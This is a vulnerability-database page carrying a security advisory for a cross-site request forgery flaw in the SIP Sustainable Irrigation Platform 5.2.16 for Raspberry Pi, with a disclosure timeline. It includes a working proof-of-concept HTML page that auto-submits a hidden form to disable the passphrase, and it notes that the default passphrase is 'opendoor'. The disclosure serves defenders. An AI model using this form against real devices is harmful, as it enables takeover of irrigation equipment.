📄 SIP Sustainable Irrigation Platform 5.x Cross Site Request Forgery
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2026-58476 | 14 Jul 202614:25 | – | attackerkb |
 | CVE-2026-58476 | 14 Jul 202616:42 | – | circl |
 | CVE-2026-58476 | 14 Jul 202614:25 | – | cve |
 | CVE-2026-58476 Sustainable Irrigation Platform 5.2.16 CSRF via Administrative GET Requests | 14 Jul 202614:25 | – | cvelist |
 | EUVD-2026-43683 | 14 Jul 202614:25 | – | euvd |
 | CVE-2026-58476 | 14 Jul 202615:17 | – | nvd |
 | PT-2026-58031 | 14 Jul 202600:00 | – | ptsecurity |
 | CVE-2026-58476 Sustainable Irrigation Platform 5.2.16 CSRF via Administrative GET Requests | 14 Jul 202614:25 | – | vulnrichment |
 | SIP Sustainable Irrigation Platform 5.x CSRF Disable Passphrase Authorization | 14 Jul 202600:00 | – | zeroscience |
SIP Sustainable Irrigation Platform 5.x CSRF Disable Passphrase Authorization
High
Advisory ID
ZSL-2026-5995
Release Date
14 July 2026
Vendor
Dan-in-CA - https://github.com/Dan-in-CA/SIP
Affected Version
5.2.16
CVE
CVE-2026-58476
Tested On
Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64), Python 3.9.2
Summary
SIP is a free Raspberry Pi based Python program for controlling irrigation systems (sprinkler, drip, hydroponic, etc). It uses web technology to provide an intuitive user interface (UI) in several languages. The UI can be accessed in your favorite browser on desktop, laptop, and mobile devices. SIP has also been used to control pumps, lights, and other irrigation related equipment.
Description
The application performs state-changing actions through HTTP GET requests without including any anti-CSRF token or validating the request origin. This can be exploited to perform administrative actions such as disabling the passphrase, rebooting the device, deleting programs or installing plugins if a logged-in administrator is lured into visiting a malicious web page. When the optional passphrase is not enabled (factory default) these actions are additionally available to any unauthenticated user, and where the passphrase is enabled it defaults to 'opendoor'.
Proof of Concept
https://www.zeroscience.mk/codes/sip_csrf.txt
Disclosure Timeline
24.06.2026 Vulnerability discovered.
05.07.2026 Contact with the vendor.
06.07.2026 Vendor responds asking more details.
06.07.2026 Sent details to the vendor.
09.07.2026 Vendor will be working to address the issues.
14.07.2026 Public security advisory released.
Credits
Vulnerability discovered by Anja Ivanovska
References
[1] https://github.com/Dan-in-CA/SIP/issues/357
Changelog
14.07.2026 Initial release
--- packet storm attached poc ---
<!--
SIP Sustainable Irrigation Platform 5.x CSRF Disable Passphrase Authorization
Vendor: Dan-in-CA
Product web page: https://github.com/Dan-in-CA/SIP
Affected version: 5.2.16
Summary: SIP is a free Raspberry Pi based Python program for
controlling irrigation systems (sprinkler, drip, hydroponic,
etc). It uses web technology to provide an intuitive user
interface (UI) in several languages. The UI can be accessed
in your favorite browser on desktop, laptop, and mobile devices.
SIP has also been used to control pumps, lights, and other Irrigation
related equipment.
Desc: The application performs state-changing actions through
HTTP GET requests without including any anti-CSRF token or validating
the request origin. This can be exploited to perform administrative
actions such as disabling the passphrase, rebooting the device, deleting
programs or installing plugins if a logged-in administrator is lured
into visiting a malicious web page. When the optional passphrase is
not enabled (factory default) these actions are additionally available
to any unauthenticated user, and where the passphrase is enabled it
defaults to 'opendoor'.
Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64)
Python 3.9.2
Vulnerability discovered by Anja Ivanovska
@zeroscience
Advisory ID: ZSL-2026-5995
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5995
24.06.2026
-->
<html>
<body>
<form action="http://SIP/co">
<input type="hidden" name="oname" value="ZSL" />
<input type="hidden" name="oloc" value="" />
<input type="hidden" name="olang" value="default" />
<input type="hidden" name="otf" value="on" />
<input type="hidden" name="ohtp" value="80" />
<input type="hidden" name="ohtip" value="::" />
<input type="hidden" name="owl" value="42" />
<input type="hidden" name="s0" value="S01" />
<input type="hidden" name="s1" value="S02" />
<input type="hidden" name="s2" value="S03" />
<input type="hidden" name="s3" value="S04" />
<input type="hidden" name="s4" value="S05" />
<input type="hidden" name="s5" value="S06" />
<input type="hidden" name="s6" value="S07" />
<input type="hidden" name="s7" value="S08" />
<input type="hidden" name="onbrd" value="0" />
<input type="hidden" name="osdt" value="0" />
<input type="hidden" name="omton" value="0" />
<input type="hidden" name="omtoff" value="0" />
<input type="hidden" name="orst" value="on" />
<input type="hidden" name="olg" value="on" />
<input type="hidden" name="olr" value="100" />
<input type="hidden" name="opw" value="" />
<input type="hidden" name="npw" value="" />
<input type="hidden" name="cpw" value="" />
<input type="hidden" name="omas" value="0" />
<input type="hidden" name="i0" value="0" />
<input type="hidden" name="sh0" value="3" />
<input type="hidden" name="w0" value="0" />
<input type="hidden" name="m0" value="" />
<input type="submit" value="NoAuth" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 47
CVSS 3.18.1
EPSS0.00228
SSVC